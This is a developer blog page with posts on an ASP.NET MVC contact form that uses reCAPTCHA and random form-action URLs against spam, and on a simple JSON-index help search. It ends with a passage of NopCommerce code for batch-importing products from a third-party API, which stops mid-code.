Code Optimization

Interesting things about software development and code optimization

Top 1 Anti-Spam Contact Form

The Best Anti-Spam Contact Form for Your Website 


Hello friends,

today I'm going to share my experience with implementing the best, in my opinion, anti-spam mechanism for web contact form.

There is well known problem - when you have a contact form on your website then you will get a lot of spam submitted via the form action url on your website and this is very annoying as for me. So I started thinking on how to do it in a way so I would get no spam at all or as less as possible at least.

First thing that came in my mind was that we would need a dynamic and random form action url for the form submission that will return HTTP 404 not found in case user would not pass human-like verification with a captcha or would try to guess the url.

As I work with C#.NET + MVC I started creating such solution with ASP.NET MVC and actually here is what I came up to.

First thing we need is to register our website for google reCAPTCHA v2, get public and secret keys and add reCAPTCHA to an our contact form. Note that in our case we need to render reCAPTCHA by hand and here is the Contact View html:


@section head
{
    <script src="https://www.google.com/recaptcha/api.js?onload=renderRecaptcha&render=explicit" async defer></script>
}

...

    @using (Html.BeginForm("", "", FormMethod.Post, new { id="contactForm" }))
    {
        @Html.AntiForgeryToken()

        ...

        <div id="ReCaptchContainer"></div>

        ...
        
        <input type="submit" value="Send" />
    }

...

@section scripts
{
    <script>
        var your_site_key = '.....-....';
        var canProceed = false;

        var reCaptchaCallback = function (response) {
            //lets go to server, validate a token and return a random url if succeed
            $.ajax({
                method: "POST",
                url: "/Contact/IsReCaptchValid",
                cache: false,
                data: {
                    gRecaptchaResponse: response
                }
            }).done(function (html) {
                if (html != "none") {
                    $("#contactForm").attr("action", html);
                    canProceed = true;
                    $("#submit").removeClass("disabled");
                    $("#submit").addClass("btn-success");
                }
            });
        };

        var renderRecaptcha = function () {
            //lets render our captcha
            grecaptcha.render('ReCaptchContainer', {
                'sitekey': your_site_key,
                'callback': reCaptchaCallback
            });
        };

        $(document).ready(function () {
            $("input[type='submit']").on("click", function (e) {

                ...

                if (canProceed != true) {
                    //CAPTCHA has not been validated yet
                    e.stopPropagation();
                    return false;
                }
            });
        });
    </script>
}

Here we load google api javascript file, run captcha rendering and attach a handler for validation response that we will use to send validation token to our back-end, validate it and return a new dynamic random URL for our <form> to submit data to.

Here is the server side controller action for reCAPTCHA validation:

        public ActionResult IsReCaptchValid(string gRecaptchaResponse)
        { //check referrer url to see if this request came from our own website
            if (Request.UrlReferrer == null || string.IsNullOrEmpty(Request.UrlReferrer.AbsolutePath) ||
                     !(Request.UrlReferrer.ToString().ToLowerInvariant().StartsWith(Extensions.Extensions.DomainName + "/contact") ||
                     Request.UrlReferrer.ToString().ToLowerInvariant().StartsWith(Extensions.Extensions.DomainName2 + "/contact")))
            {
                return HttpNotFound("Resource was not found");
            }
            string result = "none";
            var captchaResponse = gRecaptchaResponse;
            
            var apiUrl = "https://www.google.com/recaptcha/api/siteverify?secret={0}&response={1}";
            var requestUri = string.Format(apiUrl, secretKey, captchaResponse);
            var request = (System.Net.HttpWebRequest)System.Net.WebRequest.Create(requestUri);
            using (System.Net.WebResponse response = request.GetResponse())
            {
                using (System.IO.StreamReader stream = new System.IO.StreamReader(response.GetResponseStream()))
                {
                    JObject jResponse = JObject.Parse(stream.ReadToEnd());
                    var isSuccess = jResponse.Value<bool>("success");
                    if (isSuccess)
                    { //store token in session to re-validate later
                        Session["g-recaptcha-response"] = gRecaptchaResponse; //generate random url
                        result = "/Contact/" + 
                            ((char)rnd.Next(0x61, 0x7b)) + "" + //random char a-z
                            ((char)rnd.Next(0x61, 0x7b)) + "" +
                            ((char)rnd.Next(0x61, 0x7b)) + "" +
                            ((char)rnd.Next(0x61, 0x7b)) + "" +
                            ((char)rnd.Next(0x61, 0x7b)) + "" +
                            ((char)rnd.Next(0x61, 0x7b)) + "" +
                            ((char)rnd.Next(0x61, 0x7b)) + "" +
                            ((char)rnd.Next(0x61, 0x7b)) + "" ; //store the random url to validate later
                        Session["contactFormAction"] = result;
                    }
                }
            }
            return Content(result);
        }

As you may guessed this will validate google reCAPTCHA token and generate a random url like /Contact/edvbbgrq

Next step will be to accept POST request with all the data, validate and process it.
To be able to accept random urls like /Contact/edvbbgrq in one controller and one action you will have to define some routes, so lets define them now in our RouteConfig.cs:

            //route to accept /Contact/Contact get request and return our contact form/view
            routes.MapRoute(
                name: "Contact1",
                url: "Contact/Contact",
                defaults: new { controller = "Contact", action = "Contact" }
                ); //route to accept /Contact/IsReCaptchValid request and return our random urls
            routes.MapRoute(
                name: "Contact2",
                url: "Contact/IsReCaptchValid",
                defaults: new { controller = "Contact", action = "IsReCaptchValid" }
                ); //route to accept our random urls and submit contact requests
            routes.MapRoute(
                name: "CContact",
                url: "Contact/{*slug}",
                defaults: new { controller = "Contact", action = "CContact", slug = System.Web.Http.RouteParameter.Optional }
                );

And actually final step is implementing our POST action to accept random-url submit requests:

        //to return view Contact in Get and POSTback requests
        public ActionResult CContact(string slug = null)
        {
            return View("Contact");
        }
        [HttpPost]
        [ValidateAntiForgeryToken]
        public ActionResult CContact(string slug, string name, string subject, string message, string email)
        { //check if this request is from our own website
            if (Request.UrlReferrer == null || string.IsNullOrEmpty(Request.UrlReferrer.AbsolutePath) ||
                     !(Request.UrlReferrer.ToString().ToLowerInvariant().StartsWith(Extensions.Extensions.DomainName + "/contact") ||
                     Request.UrlReferrer.ToString().ToLowerInvariant().StartsWith(Extensions.Extensions.DomainName2 + "/contact")))
            {
                return HttpNotFound("Resource was not found");
            }
            //get previously stored random url
            string view = Session["contactFormAction"] as string;
            if (string.IsNullOrEmpty(view))
            {
                return HttpNotFound("Resource was not found");
            }
            view = view.Replace("/Contact/", string.Empty); //get random part from route to compare
            if(RouteData.GetRequiredString("slug") != view)
                return HttpNotFound("Resource was not found"); //just in case let's check the token one more time
            var captchaResponse = Request.Form["g-recaptcha-response"];
            if((string)Session["g-recaptcha-response"]!= captchaResponse)
            {
                return HttpNotFound("Resource was not found");
            }

            ... //do whatever you need to process request ...
            ViewBag.Message = "Thank you, your request has been submitted.";

            return View("Contact");
        }

That's it. Now you have dynamic action form url and this url is generated after human-validation only so it will be impossible or almost impossible at least  for spammers to send spam requests.

Thank you and see you :)



1vqHSTrq1GEoEF7QsL8dhmJfRMDVxhv2y



SSS - Simple Serverless Search for your website

Hello friends,


if you are in need of simple, your own search that will search through all your help documents then this may be a good case for you.

I will show my own simple and fast way if such implementation that I'm sure you will be able to use wherever you need: PHP, Java, Python, .NET, Ruby, Node.JS, etc.


So, lets start and see how it works!


1. First stage will be indexing your help files or DB records. In my case I had html files, so here is my code:

        
        char[] cToRemove = new char[] { '\r', '\n', '\t', ' ', ',', '/', '\\', '~', '–', '.', ':', '\'', '!', ';', '[', ']', '"', '{', '}', '=', '+', '_', ')', '(', '*', '&', '?', '%', '$', '#', '@', '`', '<', '>', '|' };
        char[] cToSplit = new char[] { ' ' };
        string[] toSkip = new string[] 
        {
            "i", "me", "you", "he", "she", "they", "them", "this", "that", "than", "then",  "it", "our", "their", "her", "his", "its", "it's",
            "was", "were", "is","are", "be", "being", "been", "can", "could", "should", "shall", "will", "would", "have", "has", "did", "do", "does",
            "may", "might", "must", "need", "better", "if", "else","also", "same", "now","new", "below", "above",
            "itself", "ourselves", "himself", "herself", "theirselves", "let", "get", "set", "done"
        };

        public ActionResult RunHelpCrawler()
        {

            string root = System.Web.HttpContext.Current.Server.MapPath("~/Views/Help");
            string json = System.Web.HttpContext.Current.Server.MapPath("~/shelp.json");

            AsyncManager.OutstandingOperations.Increment();
            System.Threading.Tasks.Task.Factory.StartNew(() =>
            {
                string suberrors = string.Empty;
                try
                {
                    string path = root;
                    string lastKeywrd = string.Empty;
                    //keywords, url, title
                    List<Models.Search> search = new List<Models.Search>();

                    foreach (string filePath in System.IO.Directory.EnumerateFiles(path))
                    {
                        //exclude everything you need
                        if (filePath.Contains("LeftSideMenu") || filePath.Contains("GetHelpTips"))
                        {
                            continue;
                        }

                        try
                        {
                            string url = Extensions.Extensions.DomainName + "/Help/" + System.IO.Path.GetFileNameWithoutExtension(filePath);
                            url = url.ToLowerInvariant();

                            //we are going to parse HTML to avoid unneeded text. tags, etc
                            var web = new HtmlAgilityPack.HtmlWeb();
                            var doc = web.Load(url);

                            var nH1 = doc.DocumentNode.Descendants("h1")
                             .FirstOrDefault();

                            string title = url;
                            if (nH1 != null)
                            {
                                title = nH1.InnerText;
                            }

                            string text = string.Empty;

                            //our HTMLs have marked sections with the 'shelp' class that we will use for indexing only
                            var nodes = doc.DocumentNode.Descendants()
                             .Single(x => x.Attributes["class"] != null && !string.IsNullOrEmpty(x.Attributes["class"].Value) && x.Attributes["class"].Value.Contains("shelp"))
                             .Descendants()
                            .Where(n =>
                               n.NodeType == HtmlAgilityPack.HtmlNodeType.Text &&
                               n.ParentNode.Name != "script" &&
                               n.ParentNode.Name != "style");
                            text = string.Empty;
                            foreach (var node in nodes)
                            {
                                text += node.InnerText;
                            }

                            foreach (var oc in cToRemove)
                            {
                                text = text.Replace(oc, ' ');
                            }
                            text = text.ToLowerInvariant();
                            //words to skip indexing like: he, she, this, that...
                            string[] keywords = text.Split(cToSplit, StringSplitOptions.RemoveEmptyEntries);
                            foreach (var keyword in keywords)
                            {
                                if (!string.IsNullOrEmpty(keyword) && keyword.Length > 2 && !toSkip.Any(a => a == keyword))
                                {
                                    lastKeywrd = keyword;
                                    Models.Search item = null;

                                    if (item == null)
                                    {
                                        item = search.FirstOrDefault(i => i.UrlTitle.Any(a => a.Item1 == url));
                                        if (item == null)
                                        {
                                            item = new Models.Search() { Keywords = "," + keyword + ",", UrlTitle = new List<Tuple<string, string>>() };
                                            search.Add(item);
                                        }
                                        else
                                        {
                                            if (!item.Keywords.Contains("," + keyword + ","))
                                            {
                                                item.Keywords = item.Keywords.TrimEnd(',') + "," + keyword + ",";
                                            }
                                        }
                                    }
                                    if (!item.UrlTitle.Any(a => a.Item1 == url))
                                    {
                                        item.UrlTitle.Add(new Tuple<string, string>(url, title));
                                    }
                                }
                            }
                            search = search.GroupBy(g => g.Keywords).Select(s => s.First()).ToList();
                        }
                        catch(Exception ex)
                        {
                            //LogException
                        }
                    }

                    using (System.IO.StreamWriter sw = new StreamWriter(json, false))
                    {

                        sw.Write(SimpleJson.SimpleJson.SerializeObject(search));
                    }
                }
                catch (Exception ex)
                {
                    //LogException
                }
            });


            return Content("ok");
        }


Whenever you add new help document just re-run this simple crawler that will re-index everything

2. UI and Javascript parts to allow users using this simple serverless search

UI

		<div class="row">
                    <div class="col-md-12">
                        <div class="input-group">
                            <span class="input-group-addon" id="shlpSearch" style="border: 1px solid #ccc;height: 26px;padding-top: 2px;padding-bottom: 2px;">Search</span>
                            <input type="search" id="hlpSearch" class="form-control" style="max-width:100%;height: 26px;padding: 6px;" title="Search help"
                                   placeholder="How to ...">
                        </div>
                    </div>
                </div>

JS

<script>
	var shelp;
        //load our index json and avoid caching
        $.getJSON("/shelp.json?antc="+new Date().getTime(), function (data) {
            shelp = data;
        });
		
	var prevHtml = "";
        function searchHelp(sh) {
            if (sh != "" && sh.length > 2) {
                if (prevHtml == "") {
                    prevHtml = $(".shelp").html();
                }
                var items = [];
		var lessitems=[];
                var ss = sh.replace(",", " ").split(" ");
				
		$.each(shelp, function (i) {
			var br=0;
			for(var f=0;f<ss.length;f++){
				br += (shelp[i].Keywords.indexOf(ss[f]) >= 0)?1:0;
			}
			$.each(shelp[i].UrlTitle, function (ii) {
				var el = "<a class='label label-default' style='font-size:125%;line-height:2' href='" + shelp[i].UrlTitle[ii].Item1 + "'>" + shelp[i].UrlTitle[ii].Item2 + "</a>";
				//most relevant first
                                if(br==ss.length){
					if ($.inArray(el, items) === -1){
						items.unshift(el);
					}
				}
				else if(br > 0){ //less relevant but containing at least one keyword
					if ($.inArray(el, items) === -1 && $.inArray(el, lessitems) === -1){
						lessitems.push(el);
					}
				}
			});
					
		});
		if(lessitems.length>0){
                        //split less relevant by horizontal line
			items.push("<hr style='margin: 0;padding: 0;'/>");
			$.each(lessitems, function (i) {
				items.push(lessitems[i]);
			});
		}
				
		$(".shelp").css("border", "1px solid");
		$(".shelp").css("box-shadow", "0 0 8px 1px");
                $(".shelp").html(items.join("<br/>"));
            }
            else if (prevHtml != "") {
		$(".shelp").css("border", "");
		$(".shelp").css("box-shadow", "");
                $(".shelp").html(prevHtml);
                prevHtml = "";
            }
        }
		
	$(document).ready(function () {
            //attach event for searching
            $("#hlpSearch").on("keyup mouseup input search touchend", function (e) {
                searchHelp($(this).val());
            });
        });
    </script>

So, we will store previous html and insert a new generated html with search items. First items will be more relevant that contains more than 1 keyword in chain. Horizontal line will split most relevant items from less relevant items.


You can add more specific logic for example to avoid plural forms, add importance of keyword order, etc. but as simple and fastest search this will be more than enough.


Thank you and see you


1vqHSTrq1GEoEF7QsL8dhmJfRMDVxhv2y



NopCommerce customization - Full cycle of product adding in batch

Are you in need of adding a lot +40K of products, attributes, images, slugs, tags, manufacturers in batch?

Then this post should be same useful for you as for me.


In my case I did require to implement a logic for adding more than 40,000 products with attributes, images, etc. feeding data from a 3rd party API. We will add products to all enabled categories and subcategories that are shown on home page/menu.


So less water more sense :) - here is the step by step explanation:



        [AuthorizeAdmin]
        [Area(AreaNames.Admin)]
        public IActionResult GetProgress()
        {
            //to keep progress
            string progress = string.Empty;
            var storeScope = _storeContext.ActiveStoreScopeConfiguration;
            var directory = "~/wwwroot/images/uploaded/";
            
            string curl = string.Empty;
            //Use direct repo access because of cache problem with re-reading data from settings
            Core.Data.IRepository<Core.Domain.Configuration.Setting> _settingRepository = Core.Infrastructure.EngineContext.Current.Resolve<Core.Data.IRepository<Core.Domain.Configuration.Setting>>();

            try
            {
                //get list of rest of categories we should add product for
                string ddcat = _settingRepository.Table.SingleOrDefault(s=>s.Name=="DDCategories" && s.StoreId== storeScope)?.Value;
                if (string.IsNullOrEmpty(ddCat))
                {
                    //seems this is the first run
                    var nopallcats = _categoryService.GetAllCategoriesDisplayedOnHomePage(false).Where(c=>c.Published).Select(s => new Category() { ID = s.Id }).ToList();
                    List<int> finalcategories = new List<int>();
                    foreach (var c1 in nopallcats)
                    {
                        var aa1 = _categoryService.GetAllCategoriesByParentCategoryId((int)c1.ID, true);
                        if (aa1.Count > 0)
                        {
                            foreach (var c2 in aa1)
                            {
                                var aa2 = _categoryService.GetAllCategoriesByParentCategoryId(c2.Id, true);

                                if (aa2.Count > 0 && c2.Published)
                                {
                                    foreach (var c3 in aa2)
                                    {
                                        var aa3 = _categoryService.GetAllCategoriesByParentCategoryId(c3.Id, true);
                                        if (aa3.Count <= 0 && c3.Published)
                                        {
                                            finalcategories.Add(c3.Id);
                                        }
                                        else
                                        {
                                            //we have only 3 level of sub categories
                                            throw new ApplicationException("Too many subcategories");
                                        }
                                    }
                                }
                                else
                                {
                                    finalcategories.Add(c2.Id);
                                }
                            }
                        }
                        else
                        {
                            finalcategories.Add((int)c1.ID);
                        }
                    }

                    nopallcats = null;
                    //store remind categories into the settings
                    _settingService.SetSetting<string>("DDCategories", Newtonsoft.Json.JsonConvert.SerializeObject(finalcategories, Newtonsoft.Json.Formatting.None,
                        new Newtonsoft.Json.JsonSerializerSettings()
                        {
                            ReferenceLoopHandling = Newtonsoft.Json.ReferenceLoopHandling.Ignore
                        }), storeScope, true);

                    progress = string.Format("Categories: {0} --", finalcategories.Count);
                    _cache.Set<string>("Progress", progress, TimeSpan.FromMinutes(30));
                }
                else
                {

                    progress = "Start working on category...";
                    _cache.Set<string>("Progress", progress, TimeSpan.FromMinutes(30));
                    List<int> categories = Newtonsoft.Json.JsonConvert.DeserializeObject<List<int>>(ddCat);
                    int products = 0;
                    //take first category to work on
                    var rcategory = categories.FirstOrDefault();
                    //if category id > 0 then lets work on it or exit otherwise
                    if (rcategory != 0)
                    {
                        try
                        {

                            List<Price> prices = null;

                            string responseText = string.Empty;
                            string json = string.Empty;
                            System.Net.HttpWebRequest r = null;
                            System.Net.WebClient webClient = new System.Net.WebClient();
                            lock (Feeder.fileLock)
                            {
                                string pricefile = _fileProvider.GetFileName("dd_prices.json");
                                pricefile = _fileProvider.Combine(_fileProvider.MapPath(dir2), pricefile);
                                //if price file does not exists or older than 60 mins then get new
                                if (!_fileProvider.FileExists(pricefile) || DateTime.UtcNow.Subtract(_fileProvider.GetLastWriteTimeUtc(pricefile)).TotalMinutes > 60)
                                {
                                    responseText = null;
                                }
                                else
                                {

                                    responseText = _fileProvider.ReadAllText(pricefile, Encoding.UTF8);

                                    prices = Newtonsoft.Json.JsonConvert.DeserializeObject<List<Price>>(responseText);
                                    responseText = progress = "re-read prices from file;";
                                    _cache.Set<string>("Progress", progress, TimeSpan.FromMinutes(30));
                                }
                                if (string.IsNullOrEmpty(responseText) && prices == null)
                                {
                                    curl = Feeder.apiUrl + Feeder.getPrices;
                                    r = (System.Net.HttpWebRequest)System.Net.WebRequest.Create(curl);
                                    r.ContentType = "application/x-www-form-urlencoded";
                                    r.Method = "POST";

                                    json = "key=" + Feeder.apiKey;

                                    using (System.IO.StreamWriter sw = new System.IO.StreamWriter(r.GetRequestStream()))
                                    {
                                        sw.Write(json);
                                        sw.Flush();
                                        sw.Close();
                                    }

                                    using (var reader = new System.IO.StreamReader(r.GetResponse().GetResponseStream()))
                                    {
                                        responseText = reader.ReadToEnd();


                                        dynamic dynJson3 = Newtonsoft.Json.JsonConvert.DeserializeObject(responseText);
                                        responseText = null;
                                        prices = new List<Price>();
                                        foreach (var pr in dynJson3.prices)
                                        {
                                            //get prices from JSON and save to own JSON file
                                            dynamic price = ((Newtonsoft.Json.Linq.JToken)pr).First;
                                            prices.Add(new Price()
                                            {
                                                code = price.sku,
                                                id = price.id,
                                                price = price.price,
                                                RPrice = price.RPrice,
                                                delivery = price.delivery,
                                                deliveryText = price.deliveryText
                                            });
                                        }

                                        _fileProvider.WriteAllText(pricefile, Newtonsoft.Json.JsonConvert.SerializeObject(prices, Newtonsoft.Json.Formatting.None,
                                                new Newtonsoft.Json.JsonSerializerSettings()
                                                {
                                                    ReferenceLoopHandling = Newtonsoft.Json.ReferenceLoopHandling.Ignore
                                                }), Encoding.UTF8);


                                        progress = "prices re-downloaded again;";
                                        _cache.Set<string>("Progress", progress, TimeSpan.FromMinutes(30));
                                    }
                                }
                            }

                            
                            responseText = null;

                            var dateranges = _dateRangeService.GetAllDeliveryDates();

                            ProdTemp pt = null;
                            var category = rcategory;
                            int count = 0;
                            int offset = 0, limit = 100, prodProcessed = 0;
                            var ccc = _categoryService.GetCategoryById(category);

                            string temprod = _settingRepository.Table.SingleOrDefault(s => s.Name == "DDProdcts" && s.StoreId == storeScope)?.Value;
                            //create new or re-read last offset object
                            if (string.IsNullOrEmpty(temprod))
                            {
                                pt = new ProdTemp();
                                pt.StoreID = storeScope;
                            }
                            else
                            {
                                pt = Newtonsoft.Json.JsonConvert.DeserializeObject<ProdTemp>(temprod);
                                limit = pt.Limit;
                                offset = pt.Offset;
                                count = pt.TotalProducts;
                                prodProcessed = pt.ProcessedProducts;
                                storeScope = pt.StoreID.GetValueOrDefault();
                            }


                            curl = Feeder.apiUrl + Feeder.getItems;
                            r = (System.Net.HttpWebRequest)System.Net.WebRequest.Create(curl);
                            r.ContentType = "application/x-www-form-urlencoded";
                            r.Method = "POST";

                            //get 3rd party category id to get products for it
                            var ccatid = _genericAttributeService.GetAttribute<int>(ccc, Feeder.gAttrID, storeScope);

                            json = "key=" + Feeder.apiKey + "&limit=" + limit + "&offset=" + offset + "&modifiedDT=" +
                                DateTime.UtcNow.Date.AddMonths(-6).ToString("yyyy-MM-dd", System.Globalization.CultureInfo.InvariantCulture) +
                                "&brand=" + "&category=" + ccatid;
                            using (System.IO.StreamWriter sw = new System.IO.StreamWriter(r.GetRequestStream()))
                            {
                                sw.Write(json);
                                sw.Flush();
                                sw.Close();
                            }
                            responseText = string.Empty;
                            using (var reader = new System.IO.StreamReader(r.GetResponse().GetResponseStream()))
                            {
                                responseText = reader.ReadToEnd();
                            }

                            dynamic dynJson2 = Newtonsoft.Json.JsonConvert.DeserializeObject(responseText);

                            responseText = null;
                            string swm = string.Empty;

                            count = int.Parse((string)dynJson2.count);

                            progress = string.Format("Categories: {0}, Products: {1}/{2}", ccc.Name + "/" + categories.Count, count, prodProcessed);
                            _cache.Set<string>("Progress", progress, TimeSpan.FromMinutes(30));

                            Core.Domain.Catalog.Product pro = null;
                            dynamic product;
                            Price pprice;

                            var manufRepository = Core.Infrastructure.EngineContext.Current.Resolve<Core.Data.IRepository<Core.Domain.Catalog.Manufacturer>>();
                            var productRepository = Core.Infrastructure.EngineContext.Current.Resolve<Core.Data.IRepository<Core.Domain.Catalog.Product>>();
                            var productTagRepository = Core.Infrastructure.EngineContext.Current.Resolve<Core.Data.IRepository<Core.Domain.Catalog.ProductTag>>();
                            var prodAttrRepo= Core.Infrastructure.EngineContext.Current.Resolve<Core.Data.IRepository<Core.Domain.Catalog.ProductAttribute>>();
                            var spAttrRepository = Core.Infrastructure.EngineContext.Current.Resolve<Core.Data.IRepository<Core.Domain.Catalog.SpecificationAttribute>>();
                            var spOAttrRepository = Core.Infrastructure.EngineContext.Current.Resolve<Core.Data.IRepository<Core.Domain.Catalog.SpecificationAttributeOption>>();

                            var prodAttrMapRepo = Core.Infrastructure.EngineContext.Current.Resolve<Core.Data.IRepository<Core.Domain.Catalog.ProductAttributeMapping>>();
                            var prodAttrValRepo = Core.Infrastructure.EngineContext.Current.Resolve<Core.Data.IRepository<Core.Domain.Catalog.ProductAttributeValue>>();
                            var prodTagMapRepo = Core.Infrastructure.EngineContext.Current.Resolve<Core.Data.IRepository<Core.Domain.Catalog.ProductProductTagMapping>>();
                            var prodCatMapRepo = Core.Infrastructure.EngineContext.Current.Resolve<Core.Data.IRepository<Core.Domain.Catalog.ProductCategory>>();
                            var prodSAttrMapRepo = Core.Infrastructure.EngineContext.Current.Resolve<Core.Data.IRepository<Core.Domain.Catalog.ProductSpecificationAttribute>>();

                            string entityName = typeof(Core.Domain.Catalog.Product).Name;
                            var urlRepository = Core.Infrastructure.EngineContext.Current.Resolve<Core.Data.IRepository<Core.Domain.Seo.UrlRecord>>();
                            //stopwatch to get timing
                            System.Diagnostics.Stopwatch swc = new System.Diagnostics.Stopwatch();
                            double totalTimeSec = 0;
                            foreach (var prodd in dynJson2.items)
                            {

                                totalTimeSec = 0;
                                swm = string.Empty;

                                _cache.Set<string>("Progress", string.Format("Categories: {0}, Products: {1}/{2}", ccc.Name + "/" + categories.Count, count, prodProcessed), TimeSpan.FromMinutes(30));

                                product = ((Newtonsoft.Json.Linq.JToken)prodd).First;

                                int pid = int.Parse((string)Newtonsoft.Json.Linq.JProperty.FromObject(prodd).Name);

                                progress = "pprice | " + string.Format("Categories: {0}, Products: {1}/{2}", ccc.Name + "/" + categories.Count, (string)dynJson2.count, prodProcessed);
                                _cache.Set<string>("Progress", progress, TimeSpan.FromMinutes(30));
                                pprice = prices.SingleOrDefault(p => p.id == pid);

                                if (pprice == null)
                                {
                                    pprice = prices.SingleOrDefault(p => p.code == pid.ToString("000000") + "-02");
                                }
                                string pname = product.name;

                                swc.Start();

                                pro = null;
                                //different products may have same SKUs so take care of it
                                pro = _productService.GetProductsBySku(new string[] { (string)product.article }).SingleOrDefault(sk=> sk.Name== pname && sk.ProductCategories.SingleOrDefault(pc=>pc.CategoryId==category)!=null);

                                swc.Stop();
                                totalTimeSec += swc.Elapsed.TotalSeconds;
                                swm = "GetProductBySku: " + swc.Elapsed.TotalSeconds.ToString("0.##");
                                _cache.Set<string>("Progress", progress + swm, TimeSpan.FromMinutes(30));
                                swc.Reset();
                                //we add products if price exists only
                                if (pprice != null && pro == null)
                                {
                                    decimal cost = pprice.price;
                                    decimal price = Feeder.CalculatePrice(cost, pprice.RPrice);

                                    if(price<cost)
                                    {
                                        price = pprice.RPrice;
                                    }
                                    //define max price for category to filter by later
                                    if (pt.MaxPrice < price)
                                        pt.MaxPrice = price;

                                    //manufacturer
                                    swc.Start();
                                    int manuid = product.brand;
                                    progress = "manufs | " + string.Format("Categories: {0}, Products: {1}/{2}", ccc.Name + "/" + categories.Count, (string)dynJson2.count, prodProcessed);
                                    _cache.Set<string>("Progress", progress + " " + swm, TimeSpan.FromMinutes(30));
                                    string bname = (string)product.brandName;
                                    var manuf = manufRepository.Table.FirstOrDefault(m => m.Name == bname);
                                    if (manuf == null)
                                    {
                                        manuf = new Core.Domain.Catalog.Manufacturer()
                                        {
                                            Name = product.brandName,
                                            CreatedOnUtc = DateTime.UtcNow,
                                            ManufacturerTemplateId = 1,
                                            MetaDescription = product.brandName,
                                            MetaKeywords = product.brandName,
                                            MetaTitle = product.brandName,
                                            PageSize = 20,
                                            Published = true,
                                            UpdatedOnUtc = DateTime.UtcNow
                                        };
                                        _manufacturerService.InsertManufacturer(manuf);
                                        _storeMappingService.InsertStoreMapping<Core.Domain.Catalog.Manufacturer>(manuf, storeScope);
                                        //store 3rd party manufacturer id to use later
                                        _genericAttributeService.SaveAttribute<int>(manuf, Feeder.gAttrID, manuid);
                                        entityName = typeof(Core.Domain.Catalog.Manufacturer).Name;
                                        //add slug if not exists
                                        if (urlRepository.TableNoTracking.SingleOrDefault(u => u.EntityId == manuf.Id && u.EntityName == entityName && u.LanguageId == 0) == null)
                                        {
                                            var slug1 = _urlRecordService.ValidateSeName(manuf, manuf.Name, manuf.Name, true);
                                            _urlRecordService.InsertUrlRecord(new Core.Domain.Seo.UrlRecord
                                            {
                                                EntityId = manuf.Id,
                                                EntityName = entityName,
                                                LanguageId = 0,
                                                IsActive = true,
                                                Slug = slug1
                                            });
                                        }

                                    }
                                    swc.Stop();
                                    totalTimeSec += swc.Elapsed.TotalSeconds;
                                    swm += ", manufs: " + swc.Elapsed.TotalSeconds.ToString("0.##");
                                    swc.Reset();

                                    //date ranges
                                    swc.Start();
                                    Core.Domain.Shipping.DeliveryDate daterange;
                                    progress = "daterange | " + string.Format("Categories: {0}, Products: {1}/{2}", ccc.Name + "/" + categories.Count, (string)dynJson2.count, prodProcessed);
                                    _cache.Set<string>("Progress", progress + " " + swm, TimeSpan.FromMinutes(30));

                                    {
                                        string dt = (string)pprice.deliveryText;
                                        daterange = dateranges.FirstOrDefault(d => d.Name == dt);
                                        if (daterange == null)
                                        {
                                            daterange = new Core.Domain.Shipping.DeliveryDate()
                                            {
                                                Name = pprice.deliveryText
                                            };
                                            _dateRangeService.InsertDeliveryDate(daterange);
                                            dateranges.Add(daterange);
                                        }
                                    }

                                    swc.Stop();
                                    totalTimeSec += swc.Elapsed.TotalSeconds;
                                    swm += ", daterange: " + swc.Elapsed.TotalSeconds.ToString("0.##");
                                    swc.Reset();

                                    //product
                                    swc.Start();
                                    {
                                        //some formatting and length limitation
                                        string shortd = product.descriptionSnort;
                                        if (shortd.Length > 400)
                                        {
                                            shortd = shortd.Substring(0, 399);
                                        }
                                        
                                        if (pname.Length > 400)
                                        {
                                            pname = pname.Substring(0, 399);
                                        }

                                        pro = new Core.Domain.Catalog.Product()
                                        {
                                            ProductType = Core.Domain.Catalog.ProductType.SimpleProduct,
                                            VisibleIndividually = true,
                                            Sku = product.article,
                                            IsShipEnabled = true,
                                            MetaDescription = shortd,
                                            MetaKeywords = shortd,
                                            MetaTitle = pname,
                                            Price = price,
                                            ProductCost = cost,
                                            AdditionalShippingCharge = Feeder.CalculateShipping(price),
                                            CreatedOnUtc = DateTime.UtcNow,
                                            UpdatedOnUtc = ((DateTime)product.modifiedDT).ToUniversalTime(),
                                            Name = pname,
                                            ShortDescription = product.descriptionSnort,
                                            FullDescription = product.description,
                                            BackorderMode = Core.Domain.Catalog.BackorderMode.NoBackorders,
                                            MarkAsNew = true,
                                            AllowBackInStockSubscriptions = true,
                                            AllowCustomerReviews = true,
                                            Published = true,
                                            DeliveryDateId = daterange == null ? 0 : daterange.Id,
                                            LimitedToStores = true, OrderMaximumQuantity=int.MaxValue
                                           ,OrderMinimumQuantity=1, DisableBuyButton = true, ProductTemplateId = 1, ProductManufacturers =
                                        {
                                            new Core.Domain.Catalog.ProductManufacturer() { Manufacturer = manuf }
                                        }
                                            

                                        };
                                        if (!string.IsNullOrEmpty(pro.FullDescription))
                                            pro.FullDescription = pro.FullDescription.Replace("font-size: 1rem;", string.Empty);

                                    }
                                    {
                                        pro.ProductCategories.Add(new Core.Domain.Catalog.ProductCategory()
                                        {
                                            CategoryId = category
                                        });
                                    }

                                    _productService.InsertProduct(pro);

                                    _genericAttributeService.SaveAttribute<int>(pro, Feeder.gAttrID, pid, storeScope);
                                    _genericAttributeService.SaveAttribute<string>(pro, Feeder.gAttrCode, pprice.code, storeScope);

                                    products++;

                                    swc.Stop();
                                    totalTimeSec += swc.Elapsed.TotalSeconds;
                                    swm += ", product: " + swc.Elapsed.TotalSeconds.ToString("0.##");
                                    swc.Reset();

                                    //tags
                                    swc.Start();
                                    progress = "ttag | " + string.Format("Categories: {0}, Products: {1}/{2}", ccc.Name + "/" + categories.Count, (string)dynJson2.count, prodProcessed);
                                    _cache.Set<string>("Progress", progress + " " + swm, TimeSpan.FromMinutes(30));
                                    foreach (var tt in pro.Name.Split(' ', StringSplitOptions.RemoveEmptyEntries))
                                    {
                                        string tag = tt.ToUpperInvariant().Trim().Trim(Feeder.trimChars);
                                        if (!string.IsNullOrEmpty(tag))
                                        {
                                            if (manufRepository.Table.Any(m => m.Name == tag))
                                                continue;

                                            var ttag = productTagRepository.Table.FirstOrDefault(t => t.Name == tag);
                                            if (ttag == null)
                                            {
                                                ttag = new Core.Domain.Catalog.ProductTag() { Name = tag };

                                                _productTagService.InsertProductTag(ttag);

                                                pro.ProductProductTagMappings.Add(new Core.Domain.Catalog.ProductProductTagMapping()
                                                {
                                                    ProductTag = ttag,
                                                });


                                                entityName = typeof(Core.Domain.Catalog.ProductTag).Name;

